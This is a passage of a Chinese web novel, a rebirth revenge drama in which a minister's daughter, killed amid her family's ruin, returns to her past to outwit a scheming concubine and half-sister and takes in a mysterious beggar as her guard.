《重生后她扑倒了那个侍卫》
1. 天道不公
黑云压城,黯淡的光线穿透云层,显得微弱而无力。
昔日气派的尚书府如今却尽显狼狈,院中下人的尸体躺了一地,血液的腥臭味弥漫在空气中。
面目冷清的少女矗立在院中,望着李氏,眼底尽是绝望,声音都覆上了一层不可置信:“你怎么敢!把那东西放在哥哥房间!”
眼前妇女而立之年,生的妖艳,虽满脸狼狈之色,却仍能看出风姿绰约,姜瓷心中冷笑,不怪父亲在母亲死后不到一年就将她迎进府,还带了个半大的女儿!
虽她身份低下只能堪堪做个妾,可几年来她依仗着姜父的宠爱和姜瓷的信任,在府中却也有很高的地位。
姜瓷年幼丧母,李氏进门后,总面带微笑对她关怀无微不至,甚至对自己比待亲生女儿还要好,事事都偏袒她。
以至于她被骗了这么多年,现在才看清她的真面目,没想到李氏又蠢又坏,居然为了自己未出世的孩子,谋害嫡子!
两年前父亲是迎进来过一位官家小姐做嫡母的,只是在姜瓷及笄后没多久她就因为难产死了,仔细想来这其中就应该有李氏的手笔。
生得一副好皮囊,却是绣花枕头,里头的芯子也是发了霉生了蛆。
李氏哭着道:“我不知道那是勾结的书信啊!是有人指使我!”
她趴在地上,一把鼻涕一把泪,像是受了天大的委屈。可血流成河,谁也不能独善其身。
姜瓷气笑出声,也恨自己没能早早看清李氏真面目:“树倒猢狲散,你以为这样做你能活?”
李氏只哭着,绝望中却听见一声轻蔑的笑,那男人身着银色铠甲,锐利的眸子里泛着寒光,鲜血将他通身都染红,正是本朝大将军,姜瓷的丈夫!
只听“铮”的一声,铁剑出鞘,一把寒刃架在李氏脖颈。
周以延居高临下地睥睨着她:“那夫人倒说说,是谁指使的你。”
“是那太监!厂督陆无浮啊!民妇绝不敢有半句虚言!”李氏颤颤巍巍地跪在地上,一点不敢乱动,止不住的哭腔。
周以延眼睛微微眯起:“哦?太监也是你配叫的?”
话落,她脖颈划出一条鲜红的血线,汲汲营营了一辈子的妇人,就这么死了。
姜瓷盯着李氏狰狞的面容,下意识地往后退了半步,她是见过这位厂督的,就在她的及笄礼上。
那时的陆无浮身着一袭深紫色蟒袍,肤色近乎透明,自带着尊贵与威严,声音却不知为何地颤抖,他说:“姜昭,对不起。”
很是莫名其妙。
昭这个字,是她及笄时继母取给她的,陆无浮喊出来着实让姜瓷一惊,当时更不明白这位位高权重的厂督为何要向她道歉,现在她好像参透了。
作恶多端残害忠良之人也会心存愧疚吗?
“演技不错,只是君要臣死,你们不得不死。”周以延冷哼一声,细听还带了一丝咬牙切齿。
旋即,他又将剑指向姜瓷。
她肤色苍白,眉目清绝,青色裙边翻滚着血污,似鬼魅张牙舞爪,发丝散乱却难掩周身贵气。
他将剑尖抵在姜瓷脖颈,戏谑道:“你我也算夫妻一场,只是你哥哥存了一颗祸心,家门不幸啊。”
姜瓷望着他,神色悲壮,背脊却一点不肯弯,不卑不亢:“周将军,家父、兄长全部入狱,如今不应该等候发落吗,圣旨未到,你屠姜家上百号人,不怕无辜亡灵缠着你,让你夜夜不眠吗!”“我兄长是清正之人,绝不会行勾结谋反之事!”
周以延仿佛听了什么天大的笑话似的:“你的父亲、兄长早就死了,一人一杯鸠酒,这就是反贼的下场!”
姜瓷心中薄凉,她为了这门婚事同哥哥离心,因周以延在京中有一位人人皆知的白月光,哥哥不愿她嫁过去受委屈。
可那时的她,听着李氏对周以延的夸赞,真真觉得周以延是位举世无双的英雄,从此情根深种,听到父亲要将她嫁与周
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以延时发自内心的喜悦、期盼。
成婚快一年,聚少离多,成婚一月时,府中就纳了妾,在京中姜瓷受尽了非议,最终相看两厌。
姜瓷想,他心中应是恨的,恨她占了不该占的位置,不然怎么能下如此杀手对自己的妻子。
如今想来,倒是因为这般,才引得皇上怀疑,甚至痛下杀手,毕竟尚书府嫡女和大将军联姻,怎么看都会惹人忌惮。
天空突然传来一声惊雷,这场雨终究还是落下了,豆大的雨点砸向地面,溅起血珠,尚书府宛如地狱,张开血盆大口要吞噬一切。
姜瓷细想自己这一生,年幼丧母本该是被同情的,却被冠上克母的诅咒。
爱护包容庶妹却被利用算计,全天下都知道她善妒好忌,欺负庶妹。
识人不清,没能看出那皮囊下的一颗肮脏心,为了一个不值得的人,跟哥哥离心,如今走到这一步,姜府终究成了亡魂之地,也算她罪有应得吧。
这般低劣的手段却成了抄家的借口,哥哥死了,自己被丈夫逼上绝路,一生竟如此悲怆。
姜瓷笑得悲凉,眼中蓄满了泪:“以延,这天道不公,我能如何!”
说罢,她向剑锋冲去,在周以延震惊的目光中,利刃划开脖颈,鲜红的血液喷射而出,姜瓷倒下,血在水中缓缓绽开,叫人惊心动魄。
她想,真痛啊,如果有下辈子别再轻信别人,保护好哥哥就好了。
恍惚间,一滴带着余热的水珠落在了她的脸上。
一切都如梦般在姜瓷脑海中闪过,她看见自己倒在血泊中,周以延,陆无浮、李氏全部倒在她身边。
血在青石板纹理间绽开,蔓延着,姜瓷却忽然感觉浑身一轻,似被人抱起。
梦的最后,一个身披铠甲的少年如杀神般,抱着她,步步印血,登上了那权力至巅。
只是那少年的脸庞……怎么如此眼熟。
那不是她捡来的小乞丐吗。
2. 重生
恍惚中,好像有万人在唾骂她,指着鼻子质问她为什么要祸害家人。
姜瓷猛醒惊呼道:“不是我!”
瓦砖堆砌的宅院内,梅花刚刚开放,一道尖锐的女声传来。
“姐姐都有人看见就是你拿走的了,就算你不承认也不能动手打我啊!”
一瞬清醒,姜瓷回过神来,看见自己的庶妹倒在地上,一身嫩粉色裙子,一边脸颊高高肿起,手似遮掩般将将捂住红肿,眼里噙满泪水。
她头痛欲裂,这一幕怎么如此熟悉?短暂的回忆后,她发现自己回到了过去。
这不是一年前,庶妹诬陷她偷玉佩的时候吗,那日她回院中,庶妹就说爹爹赠予她的玉佩丢了,有丫鬟说是她拿走的。
本就是莫须有之事,姜瓷怎么可能同意她搜自己房间,争执间,姜嫣却忽然抬手扇了自己一记耳光,跌坐在地。
再后来姜父李氏全来了,还朝中几个官僚,在李氏和庶妹的颠倒下,没人相信她,姜父认为她给自己丢了脸面,更是将她禁足半月。
不等姜瓷反应,姜嫣就继续道:“阿姐也是要与将军府定亲的人了,怎么还行这种事。”
现在姜瓷才听出,她说这话,就是为了给那些人听的。
与将军府的婚姻本就八字还没一撇,本就没有定性的事,却故意说给旁人听,若最后没能在一起还不知道要被如何非议。
姜瓷心中冷笑,不就是装柔弱吗?谁不会。
前世因为李氏表面上的偏心,姜瓷事事都不与她计较,只认为是自己占了李氏的关心,惹得妹妹不舒服小打小闹,总想着补偿她。
可如今看清了李氏的真面目,这个妹妹的居心也显得恶劣起来。
“妹妹就算因为误会我愧疚,也不能自己打自己啊。”姜瓷假意去扶她,“这玉佩爹爹送了你我一人一个,我又何故要去拿你的东西?”
她扶着姜嫣抬眼向姜父看去:“是吧爹爹?”
姜父不可能不承认的,朝中本就风言风语,一处细节不对就坐实了苛待嫡女的罪名,他好不容易当上了尚书,自然不可能在同僚面前出纰漏。
再加上姜父也不想多生事端,他咳嗽两声,想尽快解决事情:“是是,你们赶紧回屋去。”
李氏忽然严肃道:“姜嫣!为娘平时怎么教你的,就算姐姐拿了你的东西打了你,她是嫡女,你是庶女,你万不该这样胡闹。”
真是好大一口锅!这时候扯出嫡庶之分,人总是习惯性同情弱者。
果不其然,话音刚落,姜父身边的几人都略微带上了点鄙夷,姜父更是脸黑了一个度。
姜瓷上一世没能听出其中含义,还真以为李氏在帮自己呢。
她自嘲般叹了口气,既然她们不想息事宁人,那她也没必要一味忍让了。
“姨娘莫要颠倒黑白,一面之词真是巧妙。”姜瓷冷冷看着她,“姨娘如此护短,不分是非,传出去岂不是让人看了笑话?”
李氏本以为这件事她出声就该结束了,既能在官员面前给自己女儿留一个好印象,还能顺便让姜瓷更信任自己,一举两得,可没想到这丫头现在气场居然全变了!
她擦了擦额头上的薄汗,又带笑开口:“ 小瓷说什么呢,我当然不是…….”
“够了!”姜父忽然出声,盯着姜瓷带了几分怒气,“都回房去。”
姜嫣当然不愿意,如此好的机会,今日同姜父回来的其中更是有姜嫣的心上人。
她也快及笄了,若能留个好印象那是极好的,更何况娘交代的事情就是要让姜瓷落个虐待庶妹的名头,如今不仅没成功还被这贱丫头倒打一耙她怎么能甘心。
姜嫣跪在地上哽咽道:“是不是姐姐拿的一搜便知,那是爹爹给我的极为重要的东西,今天几位大人都在场,也正好为小女子作证。”
她泪眼婆娑楚楚可怜,倒显得姜瓷是那十恶不赦的人。
姜父本身就因为喜欢李氏所以格外疼爱这个庶女,现在听她这么说,下意识地就要去扶她。
姜瓷冷笑道:“那便搜,若是没搜到那该如何?”
话落,姜父就斜眼瞪了过来,叫她别多事。
姜嫣将手搭在姜父手臂上,娇娇弱弱道:“若是不在,那我便给姐姐磕头认罪。”
“好。”姜瓷淡淡道。
姜父扶着姜嫣,李氏在一旁也尽是担忧的模样,多好的一家人啊,姜瓷心中讽刺。
姜瓷暗暗捏拳,这一世
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能重来便是上天给的恩赐,她要向每一个算计过她,诬陷过哥哥的人复仇。
姜嫣身边的丫鬟进了她的房中,不出一会便出来了,手中还拿着一块白瓷玉佩,托着给姜父看,正是姜父赠予她们二人的那块。
姜父顿时怒火中烧:“你还敢说你没拿!”
他手抬到一半又落下,甩袖背手,强忍着心中怒火,毕竟不能在旁人面前失了风度。
姜瓷目光依旧平静,不带笑意的勾了勾唇道:“父亲可记得,当时送了小女一个一模一样的,怎么就确定这块是妹妹的呢?”
姜嫣迫不及待道:“我的玉佩上有一处磕碰,是不是我一看便知!”她还是那副柔柔弱弱的样子,眼底却闪着精光。
玉佩交于她手上,她仔细翻找半天,刚开始还神色自若,几秒钟后却稍稍慌了神。
怎么可能!她明明让人将玉佩放入了姜瓷房中,怎么找不到!
“妹妹?”姜瓷轻笑,语气上扬。
事到如今,明眼人都看出来是一场误会了,姜嫣脸色十分难看。
那玉佩姜瓷刚刚清醒时就令她的丫鬟竹月去拿了出来。
上一世,大厦将倾,刀子要落到姜嫣身前时她居然将竹月拉过去挡刀。
就在那时姜瓷才明白这个妹妹并不是自己想象中那么单纯,她死前那种充满恨意的眼神,怨毒地骂自己丧门星,姜瓷这辈子都不会忘记。
可竹月又做错了什么,她早早就提醒姜瓷李氏庶妹不安好心,可她当局者迷,非但不听还说竹月太过敏感。
李氏反应迅速,上前就对着姜嫣落下一巴掌:“自己东西找不到,还要诬陷姐姐。”
她这样做,别人也不好再说什么,轻飘飘一巴掌就盖过了姜瓷之前受的所有委屈。
姜父本就疼爱这个女儿,见状急急开口:“既然弄清楚了,那就都回去吧,误会一场别伤了亲情,叫别人看了笑话。”
只是他说这话的时候怒视着姜瓷,仿佛在警告她别再弄出什么幺蛾子。
恨意蔓延至眼底,居然也能化为虚伪的笑意,姜瓷脚步平稳走到姜嫣身边,从她手中抽走了那块玉佩。
笑着轻声开口:“妹妹,记着你欠我的,我会来要。”
3. 小乞丐
“小姐,奴这也算给你报仇了……”
少年高坐庙堂之上,一身银甲,面容冷峻,眉眼中却透着一丝忧伤,姜瓷猛然从梦中惊醒。
是他,是他!
她掀开被子,匆匆坐起来,竹月见状欣喜道:“小姐,你醒啦。”
“备马,我要上街一趟。”
这个人正是她从前收养的小乞丐!留在家中做下人。
谁曾想,一个下人居然摇身一变乱臣贼子,登上了那万人之巅的皇位!
姜瓷冷静下来,微微蹙着眉,重生之后她对万事都保持着怀疑。
那个小乞丐绝对不是外表上看上去那般人畜无害,梦境中那种眼神是她没见过的,夹杂着恨意却又空洞,唯独喊出那句小姐时,眉眼中尽是悲怆。
竹月微微一怔道:“好的小姐。”她忽然觉得小姐变得不一样了,比以前沉稳,也学会反击,她很欣慰。
华丽的马车开进了熙熙攘攘的长街上,马蹄声清脆敲打着青石板路面,喧嚣声蔓延着。
姜瓷略微掀起车帘,看着人们吆喝着,虽是隆冬,大街小巷人气却让她感觉到温暖,她忽然眼底一阵酸楚,这是她第一次意识到自己还活着。
“小姐,有个乞丐拦住了路!”竹月从外面探进来个脑袋。
姜瓷挑眉,果真和前世一样,她扯出一个意味不明的笑容:“别理他。”
“可是他,有点惨。”竹月觉着按照自家小姐的性格,应该是会施以援手的,所以又继续道:“听旁边人说,好像是因为家中母亲生病快要饿死了,他想上街买两个包子,可是钱不够,老板以为他想偷,这才打了他。”
姜瓷略微摇了摇头,拉住竹月的手,示意她进来,煞有其事道:“人不可貌相。”
这剧本跟上一世简直一摸一样,而她分明记得上一世上街是在及笄前几天,而现在还有半月时间!
所以他是在这边等了多久。
姜瓷虽笑着,这笑容里却带上了几分苦涩,没想到连自己的善良都会被人利用,不管有没有恶意,被人利用的感觉总是不太好。
马夫得到示意,微微将马车调转,准备从旁边过去。
谁知就在这时,几个凶神恶煞做强盗打扮的人忽然冲出来,将姜瓷的马车踹了个人仰马翻。
姜瓷心下一惊,竹月护着她的头,急切道:“没事吧小姐!”
“无事。”姜瓷艰难从马车中起来,看着面前几个壮汉,和倒了一地的府中侍卫,这情况明显在她的意料之外了。
原本热闹祥和的街道瞬间弥漫着紧张的气氛。
不等姜瓷说话,领头那个满脸横肉的大汉突然跳起:“我平生最恨官家人,今日必要你好看。”
说着,一把短匕直直朝姜瓷刺过来。
“小姐!小心!”竹月慌张的站起来,下意识的要去接。
“噗呲”一声,匕首猛的插入肉中,一个人挡在了姜瓷的身前,竟是那个小乞丐!
血液顺淌而出,小乞丐晃晃悠悠地倒下,姜瓷下意识伸手去接,可他实在太高,引得她一踉跄,还是倒在了地上。
那几个壮汉似是见着穿官服的捕快了,恶狠狠留下几句话就飞快逃离了现场。
姜瓷轻蹙眉头,府上到底有什么东西,值得他这般拼命,她忽然好奇了起来。
今日之事绝非事发突然,那几个大汉目标明确,身手极好,府中侍卫尚没有能抵挡的,若真想取她性命根本不必惧怕几个小小的捕快。
所以这也是一个局吗,为了让这个人进姜府?
竹月吓的脸上毫无血色:“小姐……他不会死吧。”
姜瓷定了定心神,轻轻将手搭在竹月手上,示意她别担心。
随后转头看向马夫道:“将他带回府中吧。”
她盯着少年的面容,想从他脸上看出端倪,可却没有一丝破绽。
脸上虽脏,却仍能看出他面容姣好,剑眉因为疼痛微微拧起,薄唇轻抿。
如此费劲心机,不惜被刺伤也要进府,她倒想看看这个前世帝王葫芦里卖的什么药。
回府后,姜瓷将他安顿在自己院中的客房。
李氏得知后却带着姜嫣潇潇洒洒来了。
姜瓷从房中出来,李氏还是那副慈母样,柔声道:“听闻二姑娘今日从街上带回来个乞丐,这……怕是不好吧。”
她心中明了,这是又要拿清白做文章了,她平生最恨的就是拿这轻飘飘毫无份量的东西说事,可偏偏这东西世人最在意。
“姨娘说笑了,带回来个下人罢了。”姜瓷轻笑着看向李氏。
姜嫣忍不住上前,阴阳怪气道:“什么下人还要姐姐亲自照料?听丫鬟说那人长的不错,莫不是姐姐带回家的面首吧!”
她说完,李氏又假惺惺地阻拦她,数落她乱说话。
姜瓷冷笑,一个唱红脸,一个唱白脸,她们真是好样的,只恨自己前世太
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蠢,真的以为李氏一心向着她。
不等她开口,姜父来了,黑色绸缎鞋踩在青石板上发出“噔噔”的声响。
“姜瓷你好大的胆子!”他一边走一边骂道,自带一股威严,“与将军府议亲在即,你若是敢做出什么出格之事,便从府中滚出去!”
“ 小姐不是那样的人。”竹月急忙开口,想为姜瓷辩解,却成了姜父发泄怒火的人。
“我们说话,有你这个贱婢什么事!来人,给我拖出去杖责二十!”他脸庞涨的通红。
竹月霎时间吓的脸色苍白,无力的扯着姜瓷的衣袖。
“我看今天谁敢动她。”姜瓷冷冷开口,将竹月护在身后,“父亲不分青红皂白就要诬陷女儿,您可知那乞丐救了女儿的性命?”
姜瓷身上自带了一种清香,让竹月很安心,小姐真是跟以前不一样了。
她嘴角勾起一抹笑容:“今日上街突遇劫匪,府上的侍卫都是酒囊饭袋吗,竟然连三个劫匪都打不过,那女儿不得不怀疑这些侍卫的本事了。”
姜嫣抱住姜父的手臂,好似找到了依仗,说话都变得硬气了:“谁知道姐姐说的是不是真的。”
姜瓷眼神冷冷地扫过他们:“你大可以去看看那些侍卫,如果我没记错的话,那些个侍卫应该是姨娘买回来的吧。”
府中侍卫有朝廷安排的,还有一些就是自家招募的,李氏在府中总要培养几个亲信。
此话一出,姜父有些狐疑地看着李氏,她着急解释:“老爷,那些人买回来后,我就无心管辖了,许是闲散太久……”
“既然无用,那便不要留在府中了。”姜瓷轻声哂笑,“至于是不是真的救了我,那乞丐胸前还有刀口。”
李氏咬牙切齿恨不得将姜瓷撕碎了才好,那是她培养了多少年的亲信,怎可说换就换。
姜瓷当然知道李氏不会现在突然动手脚,是那几个劫匪武功非同一般,可她偏要拿出来说事。
李氏伪善地笑着,心却在滴血:“都听小瓷的。”
事情结束,竹月退到了一边,姜瓷转身准备进房,忽然回头淡淡道:“姨娘,尊卑有别,你若再喊我小瓷,按规矩应家法处置。”
姜父见她如今如此目中无人,正想教训她,却被她噎着一口气上不来,李氏身份低微,能做尚书府的妾室已是抬举了,还敢跟嫡女攀关系,本就是不敬。
姜瓷说完也不想管后面人脸色如何精彩,抬脚回了房。
4. 庶女
翌日一早。
尚书府中传来此起彼伏的“老爷”,声音尖锐婉转动人,惹得人一身鸡皮疙瘩。
姜瓷慢悠悠从院中出来,见此场景,淡淡笑道:“府上人丁稀少,女儿想着为父亲排忧解难,这才寻了些干净女子。”
一时间,姜父被这些美人迷花了眼,却还是假装指着姜瓷愤愤道:“成何体统!”
她只微笑着鞠了一礼:“父亲慢慢选,女儿身体不适先回院了。”
姜瓷转身,却同李氏擦肩而过,她急急忙忙跑到姜父身边:“卓远,你不是说今后再不娶妾了吗……”
情浓时说的话怎可当真,况且现在府上嫡母还没死,哪里轮得到她一个妾室说话。
姜卓远虽宠爱她,可李氏知道自己没资格,说话也少了些底气。
眼前这些美人,个个身姿婀娜,勾人心魄,李氏虽美年纪却也上去了,面对这些美人心中甚是虚浮。
姜卓远自然是不满李氏这样不懂规矩的过来的,可一见她那楚楚可怜的样子,便心软摸着她的头:“你先回去吧,这里没你的事。”
李氏暗自咬牙,这府上除了她还有一个姨娘和一个嫡母。
那嫡母是位五品官家小姐,生的虽干净,眉眼中却总是有淡淡的郁气,是个不争不抢的性子,怀孕后也甚少出房,李氏知道姜卓远不喜欢这款也从没将她放在过心上。
另一位温姨娘则是府中庶女,家族联姻过来,长相平凡,也是个不争宠的人物。
姜卓远本就喜欢明艳动人的女子,府中渐渐变得只有李氏一人独大。
可如今居然又要纳妾!都怪姜瓷那个贱蹄子。
她咬唇心下一沉索性两眼一闭,假装晕倒,姜父顺势接住了她。
“哎哟,妾好难受啊!”她矫揉造作道。
李氏玉手纤细,轻扶着额头,另一只手似若无骨地扯住姜卓远的外袍。
姜父见状心疼不已,忙问她如何,口中喊着叫大夫。
姜瓷回房后,坐在椅子上,手中端着茶,细细品着,竹月匆匆来报院中的事。
她淡淡一笑,以她对姜卓远的了解,绝对不会就这么结束的。
她放下手中茶杯,安抚竹月道:“别急,他忍不住。”
随后,姜瓷想起来养在客房的人,若有所思道:“走,去看看那个乞丐。”
寒风萧瑟,客房中物品虽简陋可倒也还算暖和,竹月站在门口把风,姜瓷独自走了进去。
昨日大夫诊治过他,刀口虽看着瘆人,却并不致命,短匕被取出后放在了一旁的桌子上。
姜瓷走近,那乞丐还在睡梦中。
她若无其事地拿起那把短匕,在手上把玩细细端详着,却并未发现什么异常。
忽地,她握住匕首,刀尖朝下,直直对着小乞丐,猛然扎下去。
刀尖在离他喉哽处不到一寸的地方停了下来。
那小乞丐睁开了眼睛,如深邃幽潭般,凝视着姜瓷,只一瞬,又蒙上了一层让人看不清的雾。
他双唇蠕动,艰难开口:“小姐……”
姜瓷微微挑眉,收回匕首放在桌上,轻启朱唇:“你叫什么名字?”
房中安静了几瞬,姜瓷也不急,拉来一把椅子,坐在旁边静静等待着。
他说:“我只知姓谢,没有名字。”
这话说的悲凉,姜瓷微微一怔,又笑道:“你救我一命,那我便留你在府中当侍卫,如何?”
他抿着唇,不说话,只点了点头。
倒是没见到她预想中的高兴的神情,演技这么好?
姜瓷起身俯视着他,思索道:“你就叫单字祈吧,嗯……祈一世长安。”
他愣了一瞬,又点了点头。
“小姐,三小姐来了。”竹月匆匆进来报。
姜瓷蹙眉,周身气息都寒凉了几瞬,不等她出去,姜嫣就大大咧咧地走了进来。
指着姜瓷就骂道:“是不是你在家中招来了那些红颜祸水,你什么意思!你以为这样就可以让娘不好过吗!”
她这个庶妹,真是无礼至极,自己太长时间的忍耐,换来的却是她的不知好歹。
姜瓷转头冷冷开口:“是,又如何?家中添置姨娘和你有何关系?几时轮的到你说话?”
姜嫣似乎是没想到她会这么说,一时间憋着几个你你
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你,半天说不出来话。
看着姜嫣同跳梁小丑一般,姜瓷也懒得跟她多说,抬脚便想走。
刚走开身的一瞬间,谢祈出现在姜嫣的视线中,她顿时眼冒金光:“这就是救了你的那乞丐?样貌确实不错,送到我府中当个下人吧。”
姜嫣无赖惯了,从小几乎是姜瓷有的东西她都想要,现在见到谢祈生的好,便想着抢过去。
她清了清嗓子,想起来自己这个姐姐与之前好像不同了,于是轻飘飘地附加了一句威胁:“你若是不同意那我便告诉爹爹你们孤男寡女共处一室。”
“哦?你威胁我?”姜瓷眼神不屑冷笑着慢慢靠近她,“那庶妹一声招呼不打私闯嫡姐宅院算什么?”
她周身贵气难掩,姜嫣被她吓的忍不住咽了咽口水连连后退。她盯着姜嫣眼底一片冰凉,突然抬脚,踹向她的膝盖:“我说了让你记住欠我的。”
姜嫣不受控制地跪了下去,发出沉闷的“咚”的一声,她尖叫起来,张口就要骂,姜瓷半蹲揪住她的头发,毫不手软往地下扣去。
又是“咚”的一声,再拎起她的头,已是发丝散乱,狼狈不堪。
姜嫣的骂声被打断,眼中全是不可置信,姜瓷起身往后退一步,接过竹月送来的帕子,嫌弃地擦了擦手。
“你是什么东西,还敢来威胁我!从前我对你处处忍让,你还敢变本加厉,你尽管去跟父亲说,我倒要看看会拿我如何!”
她将帕子甩在了地上,转头就走,留下姜嫣目瞪口呆地跪在地上。
随后一批人走了进去,就开始拉姜嫣。
姜瓷回到自己房中好一会,端起凉了的茶刚抿了一口,耳边就传来姜嫣的尖叫声:“啊!!姜瓷!你们给我放开!”
“对不住了三小姐,二姑娘吩咐奴请您回房。”
姜嫣的叫喊声逐渐变小,人都走空了,客房又是一片冷清,留谢祈一人独坐在床上。
他盯着地上的帕子,半晌,下床去将那青绿色的帕子小心翼翼地折好收在了衣襟里。
尚书府二小姐,似乎并不是他想象中那般良善之人,出手利落没有一丝拖泥带水,谢祈勾唇轻笑。
5. 哥哥
雪花纷纷扬扬飘落,在红灯笼映照下闪烁着。
檀木餐桌散发着淡淡的香气,众人共用晚饭,李氏将帕子在手中缴了几个弯,脸气得铁青。
“老爷,哎呀。”岚姨娘娇嗔至极,软弱无骨地攀着姜卓远,眼波婉转。
姜瓷举起茶杯,轻轻吹去上面浮沫,嘴角勾出一抹笑。
这岚姨娘便是她昨天安排进来的其中一个,出生青楼一副勾人魂魄的好样貌,又不知说了什么,惹的姜卓远开怀大笑,一旁的李氏连插话的机会都没有。
她刚抿一口茶,苦涩的味道在她口中蔓延开来,姜嫣就哭哭泣泣地来了。
“父亲您可一定要替小女做主啊,二姐院中侍卫手脚不干净,偷拿小女的金簪还死不承认。”姜嫣呜咽道。
姜卓远正跟岚姨娘聊得开心,忽然被姜嫣打断脸色也沉了几分。
姜瓷闻言放下茶杯,“啪”的一声,发出清脆而短促的声响,不等姜父开口:“哦?他整日都在我院中,我倒是不知道他何时拿了妹妹的簪子。”
“小姐!不好啦,那个乞丐浑身都是血……”竹月急匆匆地跑进来。
姜瓷脑中好像有丝线断开,忽地起身,檀木椅子倒在地上,周身气场寒凉,竟让这一屋子人都不敢说话,等待着她下一步动作。
她走到姜嫣面前,明明身高差不多,却有种居高临下之感,前世嫁入将军府快一年,在那般宅院中耳垂目染,现在说话总是自带着一种气势。
“你对他动刑了?”
“动…动了又如何!谁让他偷我东西的。”姜嫣后退一步,有种喘不过来气的感觉。
她这个愚蠢的姐姐现在怎么变得这么有气势了。
姜瓷给了她一个冰冷的眼神,从她旁边快步走了出去,那眼神直直刺入她心,让她不寒而栗。
姜嫣颇有一种输了的感觉,姜瓷走后她又不服气地在身后大叫:“姐姐不会管教下人,我替你管教管教怎么了!”
庭院中,谢祈跪在雪地里,一身白衣却沾上了斑斑血迹,殷红的血迹在一片纯白中显得格外刺眼。
原本身上就有刀伤,现在他的脸色更是毫无气血。
不等竹月去将他扶起来,姜嫣就带着姜父和李氏来了。
经过这么一搅和,姜卓远连跟美妾玩的心思都没有了,他觉得姜瓷挑战了他的权威,下定决心就要来管教这个女儿。
他指着就姜瓷怒吼道:“你给我滚回去!”
暴雪肆虐,雪花倾泻而下,姜瓷站在廊下冷眼看着这个父亲。
从小到大她从未感受过有父亲是什么样的滋味,无论是什么时候这个父亲从来都不会站在她这边,只把她当成可有可无的工具。
她对姜卓远彻底寒了心。
“谢祈是我院中人,且不说是不是真的拿了你的东西,无论怎样都轮不到庶妹来罚吧。”姜瓷眼中透露着寒意。
姜嫣哭哭泣泣矫揉造作地抹着眼泪,小声开口道:“那贱奴不承认我这才动了私刑。”
李氏闻声凑近姜瓷,将她的肩膀抱住轻拍,刚想开口小瓷,又想起她上次说的,一时间一句话咽在口中说不出来。
姜瓷嫌恶的挣开了她的手,往旁边退了一步,李氏尴尬地收回。
姜卓远见状冷哼一声:“从小没娘教,现在院中下人手脚不干净也很正常!”
“哦?那姨娘院中的下人私吞我的嫁妆算什么?”
此话一出,如石子投入湖中,溅起层层波澜。
李氏一时间瞳孔瞪大,眼中尽是不可置信,她怎么会知道!这么多年了,李氏一直觉得自己做的天衣无缝。
她“咚”的一声跪在了地上,声音微颤:“老爷明鉴啊!妾绝不会干这种事!”
姜瓷眼底染上一抹笑,优雅走到李氏面前弯下腰去扶她,勾唇淡淡开口:“姨娘,事无绝对,这只是我的猜测而已,别这么大反应。”
明明是暴雪隆冬,李氏额头上却浸上了一层薄汗,如果被发现,是要被杖责逐出家门的。
姜瓷对自己的嫁妆从来都不上心,前世也是出嫁后才发现嫁妆有缺少,她今日只
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是乱猜了一番,看李氏的反应是她拿的没错了。
李氏颤颤巍巍地站了起来,姜嫣却看不得她母亲受委屈,一把将李氏拉到了身后,喝道:“姐姐怎可因为自己院中下人偷东西就冤枉姨娘?”
她看着姜瓷脸上明晃晃的笑,不由得有些心虚,咽了咽口水继续道:“何况尊卑有别,我惩戒一个下人又怎么了!”
话落,“啪”一声脆响,所有人都没反应过来,一记耳光就落在了她的脸上。
姜嫣捂住红肿的脸颊,就要高声尖叫,却被姜瓷打断:“你跟我谈尊卑有别,那我便教你嫡庶之分,长幼有序,我是长姐是嫡女,你随随便便对我院中人用私刑这就是规矩吗?”
一通话说下来,姜卓远脸色铁青,但却找不到反驳的点,姜嫣被打懵了,张着嘴一句话说不出只能狠狠盯着姜瓷。
姜父咬着牙,指着姜瓷的手因为气的抖个不停,刚要开口小厮匆匆来报:“老爷,大公子回来了!”
他将袖袍重重甩下背手在身后:“让他过来好好管管他妹妹!”说完姜父就独自离开了。
姜瓷神色一愣,转头就看见姜棣从院中走来,黑色斗篷上落满了雪花,这是她重生回来第一次见到哥哥,有种恍如隔世的感觉,她眼底一片酸涩,能再见到哥哥真好。
姜棣现任兵部侍郎,常常忙到几天都不归家,今日也是刚刚从衙门回来。
他神色威严,有种贵家子弟自带着的压迫感,靠近姜瓷时眉头微蹙道:“女娘不可随便动手打人。”
姜瓷忍下眼中水雾听话地点了点头,喃喃道:“我知道了哥哥。”
闻言,姜棣神色微松,揉了揉她的头,淡淡地睨了李氏和姜嫣一眼。
李氏本就因为嫁妆的事后怕,现在被盯了一眼更是后背发凉,急急带着姜嫣行礼告退。
姜嫣被李氏拽走时眼中满是不服,脸颊火辣辣地疼,却是一个字也不敢说。
雪地中传来“砰”一声闷响,姜瓷转头看见谢祈倒在雪地中,这才想起来他还跪在那,急急让人过去扶他。
6. 许郎中
将谢祈安顿在客房中后,姜瓷转身准备离开,刚迈出脚步的瞬间,袖子却忽然感受到一股微弱的力量。
谢祈伸手拽住了她,剑眉微锁,气若游丝艰难说道:“小姐,奴没有偷她东西。”
姜瓷闻声低头,目光落在那只骨节分明的手,莫名地回想起了前世与将军府定亲前的时候。
开春时节,少年立于梨花树下,眉头紧蹙,同样是这只手,拉住了她的手腕。薄茧磨蹭在皮肤上的感觉还记忆犹新。
他道:“将军府不是个好地方。”
那时的她还在想着周以延是个怎样举世无双的将军,全然没能听进去谢祈说的。
不曾想,刚嫁进将军府一月,府上就进了侍妾,那侍妾虽是别人家塞进来的,可她贵为尚书府嫡女何时受过这种委屈?虽是清冷性子,却也并不懦弱,她当晚就找到周以延,只撂下一句话,要么休妾要么和离。
烟雾从香炉中袅袅升起,周以延放下手中古籍,盯着她,一字一句地说:“夫人要知道,我们这门亲事并不是周某求的。”
话里话外的意思就是姜瓷死皮赖脸要嫁进来的,可这门婚事全是父亲安排,纵使她真的爱慕他,但绝非是非他不嫁。
到底年轻气盛,此话一出,姜瓷对周以延彻底失望,怒火中烧间拿起那香炉就往地上砸,“砰”的一声巨响,淡青色的香炉瞬间四分五裂,燃烧着的香灰也在空气中飘散,弥漫。
“我堂堂尚书府千金,今日不管是不是你求来的,你敢让我受一点委屈?”
姜瓷在家中虽不受宠,但再怎么样名分摆在那里,自小到大金枝玉叶,背后滔天权势,当然有说这话的底气。
周以延只冷眼看着,姜瓷自觉无趣,也后悔看错人,转身就走了,只是第二天那刚进府的侍妾便被送回了家,周以延也去了军营,成月成月的不见人影。
她知道这是周以延的让步,自然也不会再多说什么。男人娶妾本没什么,可她不想面对那些家宅琐事。
两世面孔重合,她垂眸轻声安抚道:“我知道,我相信你。”
